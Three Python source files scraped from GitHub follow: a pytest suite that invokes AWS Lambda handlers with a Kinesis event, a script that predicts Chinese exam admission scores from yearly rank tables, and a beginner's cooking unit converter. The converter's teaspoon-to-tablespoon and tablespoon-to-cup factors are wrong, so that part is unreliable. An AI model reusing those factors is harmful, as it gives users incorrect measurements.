+{"seq_id":"7258003170","text":"import pytest\r\nimport boto3,json,os,sys\r\nimport importlib\r\n\r\nsys.path.append(\"..\")\r\n# print(\"Current wd\",os.getcwd())\r\n# os.chdir()\r\ns3_client = boto3.client('s3')\r\nclient = boto3.client('lambda')\r\ndef get_bucket():\r\n    response = s3_client.head_bucket(\r\n        Bucket='sunlife-cybersec-test',\r\n    )\r\n    return response\r\n\r\ndef get_lambda_name(name):\r\n    response = client.get_function(\r\n        FunctionName=name\r\n    )\r\n    return response\r\n\r\ndef test_s3Upload():\r\n    res = get_bucket()\r\n    assert res[\"ResponseMetadata\"][\"HTTPStatusCode\"] == 200\r\n\r\n# def test_lambda():\r\n#     res1 = get_lambda_name('sunlife-aman-lambda-test')\r\n#     res2 = get_lambda_name('Sunlife_cyber_sec_test_1')\r\n#     assert res1[\"Configuration\"][\"FunctionName\"] == \"sunlife-aman-lambda-test\"\r\n#     assert res2[\"Configuration\"][\"FunctionName\"] == \"Sunlife_cyber_sec_test_1\"\r\n\r\ndef test_invokeLambda():\r\n    func_name = os.environ[\"lambda_func_name\"]\r\n    print(os.getcwd())\r\n    file = open(\"events.json\", \"r\")\r\n    data = json.load(file)\r\n    event = data[func_name]\r\n    # print(data[\"Sunlife_cyber_sec_test_1\"]) \r\n    # event = {\r\n    #         \"invocationId\": \"invocationIdExample\",\r\n    #         \"deliveryStreamArn\": \"arn:aws:kinesis:EXAMPLE\",\r\n    #         \"region\": \"us-east-1\",\r\n    #         \"records\": [\r\n    #             {\r\n    #             \"recordId\": \"49546986683135544286507457936321625675700192471156785154\",\r\n    #             \"approximateArrivalTimestamp\": 1495072949453,\r\n    #             \"data\": \"T2N0ICAxIDA5OjAxOjI2IFNWODQwNTUgZ3VhcmRfc2VuZGVyWzcyODldOiBMRUVGOjEuMHxJQk18R3VhcmRpdW18MTAuMHxBbGVydCBvbiBSZXBlYXRlZCBTUUwgRXJyb3JzfHJ1bGVJRD0yMDA3NHxydWxlRGVzYz1BbGVydCBvbiBSZXBlYXRlZCBTUUwgRXJyb3JzfHNldmVyaXR5PUlORk98ZGV2VGltZT0yMDIwLTEwLTAxIDA4OjQzOjUzfHNlcnZlclR5cGU9T1JBQ0xFfGNsYXNzaWZpY2F0aW9uPXxjYXRlZ29yeT18ZGJQcm90b2NvbFZlcnNpb249My4xNHx1c3JOYW1lPXxzb3VyY2VQcm9ncmFtPU9SQUFHRU5ULkJJTnxzdGFydD0xNjAxMTU5OTUzOTQ1fGRiVXNlcj1TWVN8ZHN0PTEwLjE1Mi4xNi4yMXxkc3RQb3J0PTU4MTI5fHNyYz0xMC4xNTIuMTYuMjF8c3JjUG9ydD0xMjg0fHByb3RvY29sPUJFUVVFQVRIfHR5cGU9U1FMX0VSUk9SfHZpb2xhdGlvbklEPTQ0MTM1MjAwMDEyNzg3MDk2NHxzcWw9QUxURVIgU0VTU0lPTiBTRVQgIl9ub3RpZnlfY3JzIiA9IGZhbHNlfGVycm9yPU9SQS0yNTIyOAo=\"\r\n    #             }\r\n    #         ]\r\n    #     }\r\n\r\n    \r\n    my_mod = importlib.import_module(func_name)\r\n    response = my_mod.lambda_handler(event,None)\r\n    print(response)\r\n    assert response['records'][0]['result'] == 'Ok'\r\n    assert response['records'][0]['recordId'] == event['records'][0]['recordId'] \r\n    file.close()\r\n    # os.chdir(\"../../\")\r\n    # print(os.getcwd())\r\n    # json_val = json.dumps(val).encode('utf-8')\r\n\r\n    # response = client.invoke(\r\n    #     FunctionName='Sunlife_Main_Lambda_test',\r\n    #     Payload= json_val,\r\n    # )\r\n    # res = response['Payload'].read()\r\n    # res = res.decode('utf-8')\r\n    # res = json.loads(res)\r\n    # assert response['StatusCode'] == 200\r\n    # assert res['records'][0]['recordId'] == \"49546986683135544286507457936321625675700192471156785154\" \r\n\r\nif __name__ == \"__main__\":\r\n    pytest.main()","repo_name":"Tarini-27/lambda-testing","sub_path":"lambda/test/test_lambda.py","file_name":"test_lambda.py","file_ext":"py","file_size_in_byte":3054,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"43340549634","text":"import os\nimport math\nimport json\nli2017={}\nli2018={}\nli2019={}\nli2020={}\nli2020zx={}\nli2021zx={}\nli2021fs={}\nli2021={}\nli2021ex={}\nli2021zxex={}\nli2021zxfs={}\nrdata={}\nwith open(\"2017li.txt\", \"r\") as f:  # 打开文件\n     data = f.read()  # 读取文件\n     h=data.split(\"|\")\n     for i in h:\n         ll=i.split('#')\n         li2017[ll[0]]=ll[1]\nwith open(\"2018li.txt\", \"r\") as f:  # 打开文件\n     data = f.read()  # 读取文件\n     h=data.split(\"|\")\n     for i in h:\n         ll=i.split('#')\n         li2018[ll[0]]=ll[1]\nwith open(\"2019li.txt\", \"r\") as f:  # 打开文件\n     data = f.read()  # 读取文件\n     h=data.split(\"|\")\n     for i in h:\n         ll=i.split('#')\n         li2019[ll[0]]=ll[1]\nwith open(\"2020li.txt\", \"r\") as f:  # 打开文件\n     data = f.read()  # 读取文件\n     h=data.split(\"|\")\n     for i in h:\n         ll=i.split('#')\n         li2020[ll[0]]=ll[1]\nwith open(\"2021li.txt\", \"r\") as f:  # 打开文件\n     data = f.read()  # 读取文件\n     h=data.split(\"|\")\n     for i in h:\n         ll=i.split('#')\n         li2021[ll[0]]=ll[1]\nwith open(\"2021li.txt\", \"r\") as f:  # 打开文件\n     data = f.read()  # 读取文件\n     h=data.split(\"|\")\n     for i in h:\n         ll=i.split('#')\n         li2021fs[ll[1]]=ll[0]\nwith open(\"2020zxjh.txt\", \"r\") as f:  # 打开文件\n     data = f.read()  # 读取文件\n     h=data.split(\"|\")\n     for i in h:\n         ll=i.split('#')\n         li2020zx[ll[0]]=ll[1]   \nwith open(\"2021zxjh.txt\", \"r\") as f:  # 打开文件\n     data = f.read()  # 读取文件\n     h=data.split(\"|\")\n     for i in h:\n         ll=i.split('#')\n         li2021zx[ll[0]]=ll[1]   \nwith open(\"2021zxjh.txt\", \"r\") as f:  # 打开文件\n     data = f.read()  # 读取文件\n     h=data.split(\"|\")\n     for i in h:\n         ll=i.split('#')\n         li2021zxfs[ll[1]]=ll[0]   \nfor i in range(0,8000):\n    if(str(i) in li2021zxfs.keys()):\n        li2021zxex[str(i)]=li2021zxfs[str(i)]\n    else:\n        j=i\n        while(str(j) not in li2021zxfs.keys()):\n            j=j+1\n        li2021zxex[str(i)]=li2021zxfs[str(j)]\n\nfor i in range(0,80000):\n    if(str(i) in li2021fs.keys()):\n        li2021ex[str(i)]=li2021fs[str(i)]\n    else:\n        j=i\n        while(str(j) not in li2021fs.keys()):\n            j=j+1\n        li2021ex[str(i)]=li2021fs[str(j)]\nprint(li2021zxex)\nwith open(\"2020.txt\", \"r\",encoding='utf-8') as f:  # 打开文件\n     data = f.read()  # 读取文件\n     h=data.split(\"|\")\n     for i in h:\n         ll=i.split('#')\n         if len(ll)==4 and ll[3] != '':\n             rdata[ll[0]]={}\n             rdata[ll[0]]['code']=ll[0]\n             rdata[ll[0]]['school']=ll[1]\n             rdata[ll[0]]['pm2020']=li2020[ll[3]]\n             rdata[ll[0]]['fs2020']=ll[3]\n             rdata[ll[0]]['zxpm2020']=li2020zx[ll[3]]\nwith open(\"2019.txt\", \"r\") as f:  # 打开文件\n     data = f.read()  # 读取文件\n     h=data.split(\"|\")\n     for i in h:\n         ll=i.split('#')\n         if len(ll)==4 and ll[3] != '' and (ll[0] in rdata.keys()):\n             rdata[ll[0]]['pm2019']=li2019[ll[3]]\n             rdata[ll[0]]['fs2019']=ll[3]\nwith open(\"2018.txt\", \"r\") as f:  # 打开文件\n     data = f.read()  # 读取文件\n     h=data.split(\"|\")\n     for i in h:\n         ll=i.split('#')\n         if len(ll)==4 and ll[3] != '' and ll[3]!='0' and (ll[0] in rdata.keys()):\n             rdata[ll[0]]['pm2018']=li2018[ll[3]]\n             rdata[ll[0]]['fs2018']=ll[3]\nwith open(\"2017.txt\", \"r\") as f:  # 打开文件\n     data = f.read()  # 读取文件\n     h=data.split(\"|\")\n     for i in h:\n         ll=i.split('#')\n         if len(ll)==4 and ll[3] != '' and ll[3]!='0' and (ll[0] in rdata.keys()):\n             rdata[ll[0]]['pm2017']=li2017[ll[3]]\n             rdata[ll[0]]['fs2017']=ll[3]\nwith open(\"gx2.txt\", \"r\",encoding='utf-8-sig') as f:  # 打开文件\n     data = f.read()  # 读取文件\n     h=data.split(\"|\")\n     for i in h:\n         \n         ll=i.split('#')\n         lll=ll[1].split(\"&\")\n         print(ll)\n         rdata[ll[0]]['name']=lll[0]\n         rdata[ll[0]]['position']=lll[1]\nfor key in rdata.keys():\n    ldata=rdata[key]\n    if('pm2018' not in ldata.keys()):\n        ldata['pm2018']=str(int((int((ldata['pm2019']))*1.05)))\n    if('pm2017' not in ldata.keys()):\n        ldata['pm2017']=str(int((int((ldata['pm2018']))*1.05)))    \n    lsa=(int(ldata['pm2020'])-int(ldata['pm2019']))*0.3+(int(ldata['pm2019'])-int(ldata['pm2018']))*0.6\n    lsa=lsa+(int(ldata['pm2018'])-int(ldata['pm2017']))*0.1\n    rdata[key]['lsa']=lsa\n    ygpm=int(ldata['pm2020'])+int(ldata['pm2019'])+int(lsa*2)\n    ygpm=int(ygpm/2)\n    rdata[key]['expm1']=ygpm\n    dlsa=lsa/int(ldata['pm2020'])\n    rdata[key]['a']=str(int(lsa*10000/int(ldata['pm2020']))/100)\n    zxygpm=int(ldata['zxpm2020'])\n    zxygfs=int(li2021zxex[str(zxygpm)])\n    ygfs=math.floor(zxygfs*0.5+int(li2021ex[str(ygpm)])*0.5)+1\n    rdata[key]['ygfs']=str(ygfs)\ndata2 = json.dumps(rdata)\nprint(len(rdata.keys()))\nwith open('h.json','w') as f:\n    f.write(data2)\n\n    \n\n","repo_name":"yuhuison/gk","sub_path":"h.py","file_name":"h.py","file_ext":"py","file_size_in_byte":4990,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}
+{"seq_id":"10713601383","text":"#Volume\nuser_input = input(\"What would you like to convert?: \")\n#tsp to tbsp\nif user_input == \"Teaspoon\":\n  tsp = int(input(\"Enter teaspoon amount: \"))\n  tbsp_convertFrom_tsp = (tsp / 2)\n  print (str(tbsp_convertFrom_tsp )+ \" Tablespoons\")\n\n#tbsp to cups\nif user_input == \"Tablespoon\":\n  tbsp = int(input(\"Enter tablespoon amount: \"))\n  cup_convertFrom_tbsp = (tbsp / 8)\n  print (str(cup_convertFrom_tbsp)+ \" Cups\")\n\n#cups to pints\nif user_input == \"Cups\":\n  cups = int(input(\"Enter cup amount: \"))\n  pint_convertFrom_cups = (cups / 2)\n  print (str(pint_convertFrom_cups)+ \" Pints\")\n\n#pints to quarts\nif user_input == \"Pint\":\n  pint = int(input(\"Enter pint amount: \"))\n  quart_convertFrom_pint =(pint / 2)\n  print (str(quart_convertFrom_pint)+ \" Quarts\")\n\n#quarts to gallons\nif user_input == \"Quart\":\n  quart = int(input(\"Enter quart amount: \"))\n  gallon_convertFrom_quart = (quart / 4)\n  print (str(input(gallon_convertFrom_quart)+ \" Gallons\"))\n\nif user_input == \"Milligram\":\n  milligram = int(input(\"Enter milligram amount: \")) #user input for var memory as int\n  kilogram_convert_from_milligram = (milligram / 1000000) #straight division for float value in var\n  kilogram = kilogram_convert_from_milligram #var that contains the answer from the division formula\n  print (\"You should buy \" + str(kilogram) + \" kilograms\") # prints the variable with some added comments\n\nif user_input == \"Grams\":\n  gram = int(input(\"Enter gram amount: \")) #user input for var memory as int\n  pound_convertFrom_gram = (gram / 454) #straight division for float value\n  pounds = pound_convertFrom_gram #var that contains answer from previous line\n  rounded_pounds= round(pounds,2)  #rnds the answer\n  print (\"You should buy \" + str(rounded_pounds) + \" pounds\") #prints the var with some added comments\n\n\n\n","repo_name":"VoidStatement69/CRTC-project-","sub_path":"teammates_code.py","file_name":"teammates_code.py","file_ext":"py","file_size_in_byte":1787,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"51"}